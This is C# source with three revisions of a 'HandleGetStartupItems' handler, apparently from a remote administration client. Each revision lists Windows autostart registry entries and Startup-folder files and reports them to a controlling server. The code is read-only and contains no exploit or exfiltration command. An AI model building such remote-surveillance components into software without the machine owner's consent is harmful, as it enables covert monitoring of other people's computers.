public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems command, Client client) { try { List <string> startupItems = new List <string>(); using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "0" + formattedKeyValue)); } } using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "1" + formattedKeyValue)); } } using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "2" + formattedKeyValue)); } } using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "3" + formattedKeyValue)); } } if (PlatformHelper.Architecture == 64) { using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "4" + formattedKeyValue)); } } using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "5" + formattedKeyValue)); } } } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); startupItems.AddRange(from file in files where file.Name != "desktop.ini" select string.Format("{0}||{1}", file.Name, file.FullName) into formattedKeyValue select "6" + formattedKeyValue); } new Packets.ClientPackets.GetStartupItemsResponse(startupItems).Execute(client); } catch (Exception ex) { new Packets.ClientPackets.SetStatus(string.Format("Getting Autostart Items failed: {0}", ex.Message)).Execute(client); } }
public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems command, Client client) { try { Dictionary <string, int> startupItems = new Dictionary <string, int>(); using ( var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false)) { if (key != null) { foreach (var k in key.GetValueNames()) { if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) { continue; } startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 0); } } } using ( var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false)) { if (key != null) { foreach (var k in key.GetValueNames()) { if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) { continue; } startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 1); } } } using ( var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false) ) { if (key != null) { foreach (var k in key.GetValueNames()) { if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) { continue; } startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 2); } } } using ( var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false)) { if (key != null) { foreach (var k in key.GetValueNames()) { if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) { continue; } startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 3); } } } if (OSInfo.Bits == 64) { using ( var key = Registry.LocalMachine.OpenSubKey( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", false)) { if (key != null) { foreach (var k in key.GetValueNames()) { if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) { continue; } startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 4); } } } using ( var key = Registry.LocalMachine.OpenSubKey( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false)) { if (key != null) { foreach (var k in key.GetValueNames()) { if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) { continue; } startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 5); } } } } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); foreach (var file in files) { if (file.Name != "desktop.ini") { startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), 6); } } } new Packets.ClientPackets.GetStartupItemsResponse(startupItems).Execute(client); } catch { new Packets.ClientPackets.Status("Startup Information failed!").Execute(client); } }
public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems command, Client client) { try { Dictionary <string, int> startupItems = new Dictionary <string, int>(); using (var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false)) { if (key != null) { foreach (var k in key.GetValueNames()) { startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 0); } } } using (var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false)) { if (key != null) { foreach (var k in key.GetValueNames()) { startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 1); } } } using (var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false)) { if (key != null) { foreach (var k in key.GetValueNames()) { startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 2); } } } using (var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false)) { if (key != null) { foreach (var k in key.GetValueNames()) { startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 3); } } } if (Directory.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"))) { var files = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")).GetFiles(); foreach (var file in files) { startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), 4); } } if (Directory.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"))) { var files = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")).GetFiles(); foreach (var file in files) { startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), 5); } } new Packets.ClientPackets.GetStartupItemsResponse(startupItems).Execute(client); } catch { new Packets.ClientPackets.Status("Startup Information failed!").Execute(client); } }